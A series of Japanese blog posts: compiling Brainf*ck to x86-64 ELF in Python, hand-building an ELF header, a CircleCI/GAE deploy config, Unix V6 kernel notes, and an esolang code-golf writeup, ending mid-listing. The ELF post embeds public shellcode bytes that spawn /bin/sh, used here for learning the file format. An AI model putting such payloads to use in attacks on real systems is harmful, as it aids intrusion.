Brainf*ckを、直接実行可能バイナリにコンパイルした話

なんとなくカレンダーを埋めたいという衝動に駆られるので記事を書きます。

おととい書いたELFを書く話によって、僕らは事実上任意の機械語列をELFにすることができるようになりました。次は、当然任意のBrainf*ckで書かれたプログラムをコンパイルできるようになるべきです。

つまり今度の目標は、「与えられたBrainf*ckのプログラムを実行可能なELFに変換する」ということになります。

コンパイラというと、実際は、機械語を直接吐き出すのではなく、一度アセンブリ言語やなんらかの中間言語を生成して、そのあとでアセンブラ等によって機械語を吐き出すという形なものが書きやすく一般的（一般性を十分担保できるほど僕はコンパイラの実装を読んでいないが）な気がしますが、今回は、bfのコードを受け取って直接機械語に翻訳してみようと思います。

というのも課題の指定がそうなので。課題ではコンパイラそのものもアセンブリ言語で書く必要がありますが、とりあえず方針を立てる意味でもPythonで書いてみようと思います。またPowerPCではなくx86-64上のLinuxで動くプログラムについて考えます（なのでこの記事は課題そのものではないです）。

keystone engine

そうはいっても、吐き出す機械語をマニュアルを読んで生成するのはさすがに億劫なので、keystone engineという、CTFしているとたまに見かけるAssembly Frameworkの力を借ります。実際これで遊んでみたのを記録にしようと思っただけという話でもあります。

Keystoneを使うと次のように、アセンブリを対応する機械語に変換してくれます。

In [2]: from keystone import *

In [3]: ks = Ks(KS_ARCH_X86, KS_MODE_64)

In [4]: def asm(code):
   ...:     c, _ = ks.asm(code)
   ...:     return ''.join([chr(x) for x in c])
   ...:

In [5]: asm("mov rax, 1")
Out[5]: 'H\xc7\xc0\x01\x00\x00\x00'

In [6]: asm("nop")
Out[6]: '\x90'

In [7]: asm("jmp 0")
Out[7]: '\xeb\xfe'

書いたもの

現状はこんな感じで書いています。bfの仕様としては、とりあえず、めんどいのでメモリは100000バイトの領域を0x900000からmmapで確保するという適当なことをしてはいます。当然領域外へ出たら壊れます。 ここらへんちゃんとELF上に書いておけばいい話ではあるんですが、それをやるよりmmapした方が（書くのが）速いし、全体のサイズが小さいという話があるので、まぁ気が向いたらみたいなところが強い

あとはこれをアセンブリで書き出すだけではありますが、面倒なので気合いが出ればやろうという感じ

実行

せっかくなので、いくつかのbfのコードを実際にコンパイルしてみました。例えば、先日のesolangのCodeGolf大会で、@satosさんが書いた「与えられた2進数が三角数かどうか判定」するプログラムを実際に実行してみました（回答自体はTSGのGithubからみられます）。

ubuntu@ubuntu-xenial:~/ctf/experiment$ ./bf
00000011
00110111
10100101
00011111
01011001
10010100
00111100
01101000
11001000
01011011
10001000
10111110
01000010
01110011
10011001
10101100
00001010
01101001
00101101
11111101
11100111
00001000
00001111
10101011
00110010
11110111
00011100
11110110
00000000
10110001
01111000
00100011
01001110
10010000
00000110
00000001
00110011
00010101
10000101
11010010
00010101
01111101
00100001
01011010
00101110
11001010
11100000
00100100
10111110
00111110
11000000011110101111101100101010101101011000000110

一応正しく動いていそうです。

ちなみにコンパイルしたあとのバイナリをディスアセンブルすると、

こんな感じになります。Rev問だったら地獄ですね？

実際、同じ処理をペタペタ貼り付けているだけなので、ここらへんもう少し効率化とかすると楽しいかもしれません。

手で ELFを書く

学科の基礎実験でAssemblyでbrainfuckのコンパイラをかけという選択課題があります。この課題をやろうと思うと、ELFをある程度理解し、自分で生成できる必要があります。

今回、最低限の機械語を実行可能なELFフォーマットで出力できるようになるために手でELFを組み上げていき理解を深めてみようと思いました。

もちろんELFと言っても用途が様々ですが、ここでの目標は次の機械語の列を実行して、シェルが起動するということとします。

出展：http://shell-storm.org/shellcode/files/shellcode-806.php

お気持ちとしては、「たまにはシェルコードもエクスプロイトされずに実行されたいよね」です。

実際、Brainfuck -> 機械語のコンパイル結果はそれ自体に関数とか複数のオブジェクトファイルがリンクされているだとかそういう"構造"はなく、ただ単に機械語の列になると思うので、課題を達成するための理解として第一段階はそれでいいだろうという話でもあります。

方針

道具

ELFを手で書くと言っても、さすがに鉛筆で書くことはできません（メモリにマップすることができないため）。ここではpythonのアシストを借りつつ最終的にELFをダンプするようなスクリプトを書いていこうと思います。

その上で、ELFを書く上で、8~64bitのリトルエンディアンのpackが必要になることが多々あるため、次のようなショートカット関数を定義しておきます

import struct

def p8(x):
    return struct.pack("<B", x)

def p16(x):
    return struct.pack("<H", x)

def p32(x):
    return struct.pack("<L", x)

def p64(x):
    return struct.pack("<Q", x)

また、entrypointと、実際に実行する機械語として、

code = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
entry_point = 0x400078

を定義しておきます。

全体像

ELFのヘッダについての詳細な情報は日本語や英語版Wikipediaなどに詳しく書いてあるので一つ一つ書くことはしてもしょうがないのですが、重要となる点についていくつか書きます。

まず、ELFは、ELF Header、Program Headerそして、Section Headerを持ちます。ELF Headerはただ一つ存在しELFファイル全体を管轄するメタデータです。 また、Program Headerはメモリにマップする、"され方"を定義するものです。つまり、メモリ上のどのアドレスにどのような領域（Read/Write? Executable?）をマップするかをとりしきります。 そして、Section Headerはオブジェクトファイルをリンクしたりする際のメタデータを持ちます。今回は外部のライブラリをロードしたりすることはないので、このHeaderは登場しません。

出展：Wikipedia

今回書くELFの構造的なイメージは次のような感じです。

このような形でマップされるようなELFを書いていきます。

環境

今回書くのは、64bit ELFバイナリ(x86-64)です。環境は

$ uname -a
Linux ubuntu-xenial 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ uname -a
Linux ubuntu-xenial 4.4.0-97-generic #120-Ubuntu SMP Tue Sep 19 17:28:18 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.3 LTS
Release:    16.04
Codename:   xenial

です。

ELFヘッダを書く

まず必要となるのがELFヘッダです。これは書かないことには始まりません。次がELFヘッダです

# ELF Header
elfh = ''
elfh += '\x7fELF' # magic
elfh += p8(2) # Class: 2 is 64bit
elfh += p8(1) # Endinan: little endian
elfh += p8(1) # ELF Version: EV Current
elfh += p8(0) # EI_OSABI: It is often set to 0 regardless of the target platform.(Wikipedia)
elfh += p8(0) # ABI version: (not used)
elfh += p8(0) * 7 # Padding: currently unused
elfh += p16(2) # e_type: 2 is exectable file
elfh += p16(0x3e) # e_machine: 0x3e is x86-64
elfh += p32(1) # e_version: original version(maybe whatever)
elfh += p64(entry_point) # e_entry: entry point
elfh += p64(0x40) # e_phoff: program header table offset -> 64bit is 0x40
elfh += p64(0) # e_shoff: section header table offset -> notable
elfh += p32(0) # e_flags: maybe whatever
elfh += p16(0x40) # e_ehsize: ELF Header Size
elfh += p16(0x38)  # e_phentsize
elfh += p16(1) # e_phnum: the number of program header entries
elfh += p16(0) # e_shentsize: no section headers
elfh += p16(0) # e_shnum: no section headers
elfh += p16(0) # e_shstrndx: no section headers

一つ一つの内容については、Wikipediaを参照して欲しいですが、いくつか取り上げると、

elfh += p64(0x40) # e_phoff: program header table offset -> 64bit is 0x40

これは、上の図でいうと、Program Headerがすぐ下に続くことを意味しています。ELFで64bitのとき、ELF Headerの大きさは0x40なので、その大きさ分だけオフセットを書きます。

Program Header

今回必要になるのはただ一つのProgram Headerです。というのもマップする必要のある領域がただ一つであるためです。

prmh = ''
prmh += p32(1) # p_type: type of segment
prmh += p32(5) # p_flags: memory segment permission. 0b101 -> Exec + Read
prmh += p64(0x40 + 0x38) # p_offset: offset of the segment
prmh += p64(entry_point) # p_vaddr: virtual address to be mapped in memory
prmh += p64(entry_point) # p_paddr: physical address to be mapped in memory (maybe not used in my machine)
prmh += p64(len(code)) # p_filesz: file size of this segment
prmh += p64(len(code)) # p_memsz: file size of this segment
prmh += p64(0x1000) # p_align: alignment

これについては一行一行説明しようと思います

prmh += p32(1) # p_type: type of segment

これはセグメントのタイプを定義します。1がPT_LOADであり、ロード可能なデータに関するセグメントであることを意味しています。ロード可能であるとは、p_fileszやp_memszを持つということを意味しています。

prmh += p32(5) # p_flags: memory segment permission. 0b101 -> Exec + Read

これはマップする領域のpermissionを表します。1bit目がExec, 2bit目がWrite, 3bit目がReadに関するpermissionを意味しています。すなわち、5(0b101)はExecとReadができる領域であることを意味します

prmh += p64(0x40 + 0x38) # p_offset: offset of the segment

実際にこの領域が表すデータがファイルの先頭からのオフセットでどこにあるかを表します。最初に示した図を見てもられるとわかるとおり、Code自体はELF HeaderとProgram Header一つのすぐしたにあるので0x40 + 0x38であることがわかります。

prmh += p64(entry_point) # p_vaddr: virtual address to be mapped in memory
prmh += p64(entry_point) # p_paddr: physical address to be mapped in memory (maybe not used in my machine)

これは、実行時にマップされるアドレスを表します。p_paddrは物理メモリを使う場合に使われる情報のようですが、僕の環境では関係ないと思われますし、基本的に普通のパソコンを使う限りは関係ない情報だと思われます。

prmh += p64(len(code)) # p_filesz: file size of this segment
prmh += p64(len(code)) # p_memsz: file size of this segment

これは、それぞれfile上でのマップするデータの大きさと、メモリ上での大きさを表しています。今回は一致していますが、しばしばmemszはfileszより大きくてもよく、その場合0埋めがされます( Tips　ELFフォーマットその１　ELFフォーマットについて)

prmh += p64(0x1000) # p_align: alignment

これはアラインメントを表します。

実際にダンプしてみる

この二つのHeaderに実行するコードをくっつけたファイルを吐き出すと実際に実行できます（完成したスクリプトは、ここにあります）。

ubuntu@ubuntu-xenial:~/ctf/experiment$ python snipet.py
(64, 56, 27)
147
ubuntu@ubuntu-xenial:~/ctf/experiment$ ./dump
$ echo hello
hello
$ readelf -e dump
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400078
  Start of program headers:          64 (bytes into file)
  Start of section headers:          0 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         1
  Size of section headers:           0 (bytes)
  Number of section headers:         0
  Section header string table index: 0

There are no sections in this file.

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000078 0x0000000000400078 0x0000000000400078
                 0x000000000000001b 0x000000000000001b  R E    1000

良さそうですね

終わりに

ELFファイルフォーマットについての知見が全くなかったので良い勉強になりました。brainfuck compiler on assembly書くぞの強い気持ち 　

参考にしたもの

1. シェルコード: shellcode-806.php
2. Tips　ELFフォーマットその１　ELFフォーマットについて
3. Shortest ELF for “Hello world\n”?
4. A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux
5. Executable and Linkable Format - Wikipedia

Circle CI + Python3 + GAEについて

Circle CI + Python3 + GAEについて

別にどうというわけでもないが、メモ。３時間くらい悩まされたため。

背景

Googleが提供するPythonで実装されたスクリプト群がPython2で動くことはあまりにも有名ですね。そもそもAppEngineのStandard Environmentにデプロイしようと思うとPythonのバージョンは2でないと動かないです。

ところで、Flexible Engine(以下FE)では3も動かすことが可能です。先日、Python3 + Djangoで書いたコードをFEに投げてhogehogeしていました。ここにCIを導入しようと思い、ある程度無料でプライベートリポジトリでも利用可能なCircle CIを導入しました。

問題

問題は、アプリがPython3で動いている一方で、Python2のgcloudコマンド群を動かさないといけないという点です。

Circle CIが用意しているイメージを使ってgcloudコマンドを叩くことは可能（Python2のイメージを使ってインストールすることも可能）ですが、そうすると、App側で動かしたい一連のタスクが実行できなくなりました。

根底にあるのは、普通に提供されている機能だけを使うと、Python2/3の両立が必要なタスクが難しいのではないか？という点です。

解決

結論は簡単で自分でdockerイメージを作りました。gcloud-python3にあります（二つ入れただけですが）。

jobs:
  deploy:
    working_directory: ~/repo
    docker:
      - image: moratorium08/gcloud-python3
    environment:
      - GOOGLE_APPLICATION_CREDENTIALS: "gcp-key.json"
    steps:
      - checkout

      - run:
          name: create yamls
          command: |
            echo "$GOOGLE_AUTH" | base64 -i --decode > "gcp-key.json"
            gcloud auth activate-service-account --key-file "gcp-key.json"
      - run:
          name: install dependencies
          command: |
            python3 -m venv venv
            . venv/bin/activate
            pip install -r requirements.txt
      - run:
          name: collect static
          command: |
            . venv/bin/activate
            python manage.py collectstatic
      - run:
          name: upload static files
          command:
            gsutil rsync -R static $BUCKET_NAME

      - run:
          name: deploy production
          command: |
            gcloud --quiet config set project "$GOOGLE_PROJECT_ID"
            gcloud --quiet app deploy app.yaml

workflows:
  version: 2
  build-deploy:
    jobs:
      - deploy:
          filters:
            branches:
              only: master

こんな感じ

感想

Dockerで殴るのは速いし余計なことを考えなくて良いなぁという気持ちですが、そもそも普段使いでgcloudとPython3を両立させるのが少々めんどう（virtualenv下においてPython3の環境だけでなく2も動くようにしておかないといけない？）なので一元的に扱う良い方法はないものなのかなぁという感じです。

知ってたら教えてください

Unix V6コードリーディングの個人的なメモ

学科ゼミとしてV6を読む会というのをやっています。ここまでのところ4回ほど開いて、順次はじめてのOSコードリーディング ~UNIX V6で学ぶカーネルのしくみ (Software Design plus)を読んでいます。とりあえずオラオラと9章(加えて14章)まで読んで来たわけですが、面白いなぁと思ったいくつかのことについて自分でまとめておこうという気持ちになったのでまとめようと思います。

ぼくはLions本を前から読んでいるわけではなく、V6の基本的知識はOSコードリーディング本によるものです。

（書いたのは、好きな話や少し気になった話だけです（浅く網羅しても仕方ないため））

forkの仕組み

　概念的に「forkはプロセスの内容がコピーされて分岐する」のような説明を聞くことがあるのですが、これを達成する部分は少し巧妙でした。これはほぼ各所で書かれている話ですが、理解したところをまとめておきたいと思います。

基本的にUnix V6で新しいプロセスを作るにはこのforkをします。forkとは、現状のプロセスのコピーを作って、プロセスを分岐させます。ここで、実行される命令の列は同じだが、二つのプロセスの実行の流れを分岐させるうまい仕組みがあります。

そもそもforkは細かく見ると、具体的には次のいくつかの部分に分かれます

【親プロセス】

• newprocを呼び出す
• procやデータセグメントの情報を子供のプロセスにコピーする(*)
• newprocをreturnし、このとき0が帰って来る

 savu(u.u_rsav);
    rpp = p;
    u.u_procp = rpp;
    rip = up;
    n = rip->p_size;
    a1 = rip->p_addr;
    rpp->p_size = n;
    a2 = malloc(coremap, n);
    /*
    * If there is not enough core for the
    * new process, swap out the current process to generate the
    * copy.
    */
    if(a2 == NULL) {
        rip->p_stat = SIDL;
        rpp->p_addr = a1;
        savu(u.u_ssav);
        xswap(rpp, 0, 0);
        rpp->p_flag =| SSWAP;
        rip->p_stat = SRUN;
    } else {
    /*
    * There is core, so just copy.
    */
        rpp->p_addr = a2;
        while(n--)
            copyseg(a1++, a2++);
    }
    u.u_procp = rip;
    return(0);

(ken/slp.c)

このとき、子供は起きていない状態で、親の実行が進みます。次に、swtchによって、プロセスのスイッチが起きて、子供が起こされた時どういう挙動になるかを考えます。まず実行が始まるのは、データセグメントやレジスタの情報を保存した部分になります。これは、すなわち、上記のnewprocの中の部分です。

swtch自体は、

 if(rp->p_flag&SSWAP) {
        rp->p_flag =& ~SSWAP;
        aretu(u.u_ssav);
    }
    /*
    * The value returned here has many subtle implications.
    * See the newproc comments.
    */
    return(1);

(ken/slp.c)

のような形で関数から戻ります。

ここで重要なのは、swtch内でaretuが実行されることにより、このnewprocを呼び出した関数に戻るように、swtchがreturnされるという点です（すなわち、スタックフレームが一個ずれる）。これにより、newprocからあたかも1が帰って来ている状態になり、結果として、

fork()
{
    register struct proc *p1, *p2;

    p1 = u.u_procp;
    for(p2 = &proc[0]; p2 < &proc[NPROC]; p2++)
        if(p2->p_stat == NULL)
            goto found;
    u.u_error = EAGAIN;
    goto out;

found:
    if(newproc()) {
        u.u_ar0[R0] = p1->p_pid;
        u.u_cstime[0] = 0;
        u.u_cstime[1] = 0;
        u.u_stime = 0;
        u.u_cutime[0] = 0;
        u.u_cutime[1] = 0;
        u.u_utime = 0;
        return;
    }
    u.u_ar0[R0] = p2->p_pid;

out:
    u.u_ar0[R7] =+ 2;
}

(ken/sys1.c)

上のプログラムにおいて、newprocの返り値による分岐ができています（！）。この仕組みはなかなかうまいなぁと思います。

文章で書いてもわかりにくいので図にしました。

図にしてもあまりうまく書けなかったです。

MMU用のハードウェアAPRなどの管理

UISAやUDSAのようなアドレスは特定のアドレスにマップされていますが、なぜこれを更新するとちゃんとコンテキストスイッチができるのかについて本を読んでいて納得できなかったので一応メモです（今から考えるとそれはそう）。

というのは、UISAやUDSAというのはアドレス中の値であり、具体的には

#define UISA    0177640        /* first user I-space address register */
#define    UDSA    0177660        /* first user D-space address register */

のように定まっています。しかし、このアドレスというのは仮想アドレスであることから、MMUがうまく参照できないのでは？という疑念がありました。

結論から言うと、カーネルAPRの7番目の値すなわち仮想アドレス0160000〜0177777が常に物理アドレス上の0760000〜0777777にマップされるため問題はないです。 つまり、UISAがマップされる場所やUDSAがマップされる場所は常に固定で、逆にこの固定の領域を使って周辺デバイスとのやりとりがなされています。 これらのアドレスが選ばれていることについては、Lions本を引用すれば"The method of assignment of addresses to registers in this page is a black art: the values are hallowed by tradition and are not to be questioned."らしいので、とりあえずこの場所に固定された領域があってMMUがここを読みに来ているのでうまくアドレス変換が可能となるのだということまでは言えると思います。

その他ネタ

へーって思った話。普通にPDP 11のWikipediaとかOSリーディングの本とか見れば書いてあることだが、へーって思ったのでメモ。

無名構造体

int型の値のMSBから8bitみたいな値を参照するのに、構造体のようにアクセスしているコードが随所にあります。

 (*bdevsw[rootdev.d_major].d_open)(rootdev, 1);

こんな風な感じです。これ一見すると全然変ではないんですが、例えばrootdevというのは、

int rootdev;        /* dev of root see conf.c */

のように定義されていることからわかるように、int型の値です。すなわち、int型の値に構造体にアクセスしているということで、なんやねんとなります。

実は、ここで使われているC言語はpre K&Rといわれるもので、現在ではありえないような構文がいくつか存在します。これもその一つで、裏には、無名構造体という概念があります。例えば、d_major、d_minorの定義は

struct
{
    char    d_minor;
    char    d_major;
};

のようになっています。このように無名な構造体を定義すると、任意の変数に対してこのような参照が可能になります。 　デバイス番号というのは、MSB8bitにmajor番号、その下8bitにminor番号が入ったものになっています（int型自体は16bit）。したがって、見方によってはint型というのはchar型が二つ並んだという構造をしているものであると考えることができ、よって上のような書き方をすることができます。すなわち、MSB1byte分に対するアクセスであると言えます。

ところで面白いのは、デニスリッチーですら混乱したのか一部では

(*bdevsw[swapdev>>8].d_strategy)(&swbuf);

(dmr/bio.c のswap関数)

のように、デバイスのMSB1byteをある種より直接的に取り出しているコードがあったりして面白いです。

エンディアンの話

上に関連して、上のコードが動くならリトルエンディアンなんやろなーって思ったら、少し興味深い感じでした。というのは、確かに16bitの値に対してはリトルエンディアンになっているのですが、32bitの値を表現する、すなわち2ワードに関しては、ワードについてはビッグエンディアンになっているらしいということです。日本語で説明するのは難しいので図があります。

itruncで間接参照テーブルについてのoff by one errorっぽいやつ

 if(*ip) {
        if((rp->i_mode&ILARG) != 0) {
            bp = bread(rp->i_dev, *ip);
            for(cp = bp->b_addr+512; cp >= bp->b_addr; cp--)
            if(*cp) {
                if(ip == &rp->i_addr[7]) {
                    dp = bread(rp->i_dev, *cp);
                    for(ep = dp->b_addr+512; ep >= dp->b_addr; ep--)
                    if(*ep)
                        free(rp->i_dev, *ep);
                    brelse(dp);
                }
                free(rp->i_dev, *cp);
            }
            brelse(bp);
        }
        free(rp->i_dev, *ip);
        *ip = 0;
    }

(ken/iget.c itrunc関数）

ここですが、

for(cp = bp->b_addr+512; cp >= bp->b_addr; cp--)

はおそらく、512ではなく、510ですよね。

これに関してはLions本にも言及があり、"Since they will presumably contain zero, they will contribute nothing to the calculation."などと書いてある。確かに、*(b_addr+512)が0であれば、そのあとの条件分岐の中に入らないので良いっぽいのだが、いつゼロクリアしたかというと、これは難しくて、例えばバッファの初期化部分のコードを見ると

clrbuf(bp)
int *bp;
{
    register *p;
    register c;

    p = bp->b_addr;
    c = 256;
    do
        *p++ = 0;
    while (--c);
}

(dmr/bio.c)

となっていて256回ループするが、ところで、bufferの定義は、

char buffers[NBUF][514];

であることから、最後の2byteについてはおそらく0クリアされない。すると、どこで、0クリアされているのかを考えると、おそらく起動時の物理メモリの0クリアまで遡るのではないか。この部分については完全に推測でしかないが、しかし、off by oneっぽいのが残っているのは少し面白いです。

ねむい。だいぶ雑になってしまったので渋い（また全部読んだ時に改めてまとめたい）

星空を描く ~esolang(難解プログラミング言語) writeup ~

　３月末に、TSGというサークルでesolang( esoteric language ;難解プログラミング言語の略)陣取り大会というゲームが開催されました。この記事はそのwriteupです。割とポエムです。

TL;DR

　 esolangショートコーディングは、僕がポエムを書いてしまうくらいには熱い

この記事に書かれているのはこれだけです。

目次

ルール

esolang陣取り大会のルールは、

• 赤と青の二つのチームに分かれたチーム戦
• 「百桁の数列をソートして出力せよ」という問題を解く （例えば４桁の例として、4321 -> 1234）
• 各チームは獲得済みの陣地の四方の言語に挑戦可能で、各マスの言語でお題にかなうコードを書くと、陣地として獲得可能
• 相手の陣地も、より短いコードを出せば、取り返せる

(相手の解答は終了までは見れない)

というものです。要するに『より短いコードで、ソートをせよ！』というある種のコードゴルフ的な要素を秘めています。

　大会の様子については、TSGの公式Twitterをご覧ください。

　結果は、赤チームが27-20で勝ちました（僕は赤チームでした）。

競技の推移

こんな感じで陣地が変わっていきました

youtu.be

解法の概観

　各言語のwriteupを書く前に、「百桁の数列をソートして出力」という問題に対するいくつかのアプローチを紹介します。

　ソートと聞けば、クイックソートやヒープソートなどを思い浮かべがちですが、今回は計算量よりもコードが短いことが正義です。そういった実装は、大きくなりがちなので、今回は一度も直接的に（ライブラリとしてソートがある場合は別として）、それらを実装することはありませんでした。

　今回僕が用いた方針は大きくわけて３つです。

• バケツソート
• 0〜9についてそれぞれ文字列をなめて、一致したら出力（以下、総なめ方針と呼ぶ）
• 言語やそのライブラリにソート実装がある（Golf言語や実用言語）

バケツソートは、Wikipediaにもありますが、数列を順に見ていき、0~9のそれぞれの数を順に数え、その後その回数分その文字列を出力する、という方針です。これは簡単なループで書くことができ、今回の問題に関しては非常に強力でした。

以下、僕が解いた言語について（最終的に最短解ではなかったものも含めて）、書いていこうと思います。

Starry

　僕はこの言語が結構好きで、タイトルや年賀状にしてしまいました。

　スタックベースの言語で、内部実装はRubyです。言語仕様はesolang wikiを参照してください。

方針1. バケツソート

　Rubyは多倍長整数をサポートしているので、100桁の数値も、int型として保持可能です。この性質を利用して、0~9の「バケツ」を100進数の数の各桁として保持するという方針でまず解きました。

     +               + +  *     +* `  + ,            + +  *      + * *      +  +      +'   `  +         + +  *         +*  *  +      + *` +   '    +*  +      + * + '    +     +  `  + +         + +  *         +*    *      +     '    `   +   + +.   +      + *     ` +    '    +         + +  *         +*   *  +      +* +               + *  '

(339bytes)

綺麗な星空です。星空は観賞用で、実装自体はPythonを使って書いたので、内容はstarry/solve1.pyを見てください。

方針2. 総なめ方針

　最初339bytesの星空が描けて満足していたんですが、この後kurgm氏が260bytesの回答を提出し、抜かされます。そこで、方針を切り替えて、上で挙げた三つの方針のうちの二番目、『総なめ方針』に切り替えました。

　実は、このesolang問題サーバーは、テストが甘く、毎回乱数でテストケースを生成しますが、ケースが一つだけなので、コーナーケースがあったとしても常識的な範囲で通れば通せてしまうという話があります。今回短くするにあたって、実はこの方針は先頭の文字が0だとその0が失われてしまうというコーナーケースが存在します。

　しかしそれを回避するコードを描くと少し長くなってしまうので、今回は多少のコーナーケースには目をつぶりました。

, +     +  `  +` +               +    *   +   + +   + * ' +. `  +               +   * +'*      +*  + +   +   + +               + *  '

(133bytes)

　実装方針は、starry/solve2.pyです。

　一応この後青チームに奪われなかったので今回はこのコードが最終解になりました。

Emoji

　この言語は、Unicodeにある絵文字を使ってプログラミングをする言語です。スタックベースの言語ですが、変数が定義可能で、変数名でのデータ参照が可能です。内部実装はPythonです。詳しい仕様に関してはEsolang Wikiを見てください。

方針

　この言語は最初kurgm氏が248bytesの解法で解いている状態から始まりました。これ自体が既に十分短く、簡単なバケツソートでは太刀打ちができませんでした。そこで、上で示した2番目の方針である総なめ方針を使いました。

　この言語は、配列や文字列のn番目の値にアクセスをすることが可能で、ただし、outputは必ず改行が入ってしまうという問題がありました。

　したがって、基本方針としては、0~9について順に、100桁の数を一つずつ見ていき、一致すればresult用文字列の後ろにつけ、最後にその文字列を出力するという方針をとりました。

　しかし、実はこれも愚直に２回のループを使って実装すると248bytesを抜けませんでした。そこでさらに発想を加えて、１回のループでこれを実現することを考えました。

　具体的には「インデックスとして保持する変数を100進数として見た時、1桁目を文字列のインデックスに、2桁目を今どの文字を参照しているか？にあてる」という方針を使いました。

　例えば、4805という数字は、48（「0」のascii文字コード）を2桁目が差していて、1桁目が5を差しています。すなわち、このループでは、 「6442285896459673378121435372838284681661827573016871763560392310008272763218711572923569634914483640」 というような数列に対して、(0indexで)五番目の2が、0か？を判定する処理を書けば良いです。

　このようにすると、競技中に229bytesまで縮めることができました。

💬💬📲💬💬💬0💬🔢⛽💬1💬🔢👫👥💬5800💬🔢🐣🚘 ⛽👥👥💬100💬🔢🍴🔍👥💬c💬📲🔀💬100💬🔢💸💬💬📱🔀🔑👬🔚🔀💬c💬📱👫🔀🐧🚘 🔃🔀➡

(229bytes)

競技中はこれが最短解となりました。実装用に競技中に使用したPythonスクリプトemoji/solve.pyです。

競技後

　競技後、敵チームだったkurgm氏と解答について話し合っていると、実は、emojiの仕様や内部実装であるPythonの仕様、さらにはUnicodeの仕様を理解していると、さらに短くすることが可能であることが判明しました。Slackで挙げられていたものを勝手に羅列させてもらえば、

• Pythonにおいて「False + 1 = 1」となるので、0初期化はFalseを使うべき
• 📤の１文字でインクリメントが可能
• PythonのDictはKeyとしてFalseやTrueが使えるのでそちらを使うべき
• 文字列生成は、emojiには二つパターンがあるのですが、そのうち、⛽🚘の方が💬💬より1byte短い（！）

などです。これを適用するとkurgm氏が一気に183bytesまで短くするなど、していたので、なかなかに奥が深い言語だったなぁという感じです。

Element

　非常に人間の温かみを感じる言語。今回書いたesolangの中では最も書きやすい言語でした。実際競技中に解く際も、Pythonなどでコード生成するのではなく直接Elementを書いたので、そういう意味でも良い言語でした（後に出てくる２次元系言語は仕方なしに直接書きましたが）。

　仕様は、Esolang Wikiに詳しいですが、簡単に解説すれば、制御用のスタックとデータ保持用のスタックがあり、変数を作ることもできます。大きな特徴は変数参照「~」にあります。これは「a~」と書くと、aという名前の変数に代入されている値を取り出すという意味になり、さらに「a~~」のようにすると、aという変数に代入されている値の名前の変数を参照する、、、というように、組み合わせることで、一つの変数から色々な場所へ飛ぶことができます。これを今回はフル活用しました。

　方針は典型的なバケツソートで、変数名0~9をバケツとして扱い、それをそのあとに取り出すという方針です。

0 0;
0 1;
0 2;
0 3;
0 4;
0 5;
0 6;
0 7;
0 8;
0 9;
_ q;
100'[
q~ ( x; q;
1 x~~ + x~;
]
10'{
"k;
10 k~ -+ i;
i~~'[
i~`
}
k~ 1 -+ '
}

(element/code) さらに、不要な改行やスペースを取り除き、短くすると88bytesになりました。

00;01;02;03;04;05;06;07;08;09;_q;100'[q~(x;q;1 x~~+x~;]10'{"k;10 k~-+i;i~~'[i~`}k~1 -+'}

(88bytes, element/code.min)

Minus

　驚くべきことに、この言語には命令「-=」しか備わっていません。つまり、基本的に演算が引き算しかありません。しかし、この言語はチューリング完全です（brainfuckがシミュレート可能）。言語仕様に関しては、公式サイトに書いてありますが、見辛い（背景の灰色が主にその要因）ので、今回使った話を少しまとめます。

　-=しか使えない、と書きましたが、特定のレジスタを書き換えることや、レジスタの値を参照することで、inputやoutput、さらにはループを実現します。

レジスタ

　基本的に小文字のアルファベットはレジスタです。特に、c, i, o, pは重要な意味を持つレジスタで、さらにj, q, rも意味のあるレジスタです（今回は使いませんでした）。それ以外は汎用レジスタとして使えます（のはず）。

　まず、inputに関連するレジスタは、iです。例えば、

a-=i

とすると、inputから１文字を読み込んでその値をレジスタaから引き算します。

　outputに関連するレジスタはo, j, qがありますが、今回はoのみ考えます（詳しい話は公式を見てください）。oから値を引くと、その値が出力されます。ここで注意すべきなのは、oに何か値があるというわけではないので、例えばA-=48;o-=A;o-=Aというコードは２回0が表示される。あくまでも引かれた数が出力されます。

　さらに、cというレジスタがx86でいうところのeipというやつ、すなわち、インストラクションポインタです。基本的に命令はファイルの上から下へ進み、それに伴いcの値は加算されていきます。しかしここで、c-=1などとかくと、無限ループさせることができます。これを駆使してループを実現することができます。

　そして最後にpレジスタです。MinusにはBrainfuckのように無限長のメモリがあります。これがMinusのメモリ機構になるのですが、このメモリを参照する際のベースポインタを表しているのがpレジスタです。そして、pレジスタからの特定のオフセットの値を読み書きするために使えるのが大文字のアルファベット群です。これはAがp+0、Bがp+1、…というように特定のオフセットへのメモリアクセスを可能にしています。

　メモリに関して具体例を示します。例えば、次のように、Aに値(48は0のasciiコード)を入れたあとにpを1引くと、その前に入れた値はBへ移ります。

コード

A-=48
p-=1
o-=B

実行結果

% minus code
0%

方針

　Minusは、esolang大会で最初に解いたesolangで、このころはまだ愚直にバケツソートばかり書いていました（そして最後まで奪われなかった）。なので、この解答はあまり短く無いかもしれません。

　内容は、疑似コードとして

for i in range(100):
  mem[p-getc()]++
for i in range(48, 58):
  for j in range(mem[p-i]):
    write(i)

のようなコードをMinusで再現しました。

p-=p
k-=k
l-=l
k-=100
l-=k
p-=90
A-=A
k-=k
k-=l
A-=9
p-=k
c-=A
p-=p
A-=i
p-=A
K-=1
A-=K
p-=p
A-=A
l-=1
c-=16
p-=p
p-=p
k-=k
l-=l
k-=10
l-=k
p-=60
A-=A
k-=k
k-=l
A-=31
p-=k
c-=A
p-=p
A-=A
A-=58
m-=m
n-=n
m-=10
n-=m
n-=l
A-=n
p-=A
u-=u
u-=A
A-=A
p-=p
p-=30
A-=A
v-=v
v-=u
A-=7
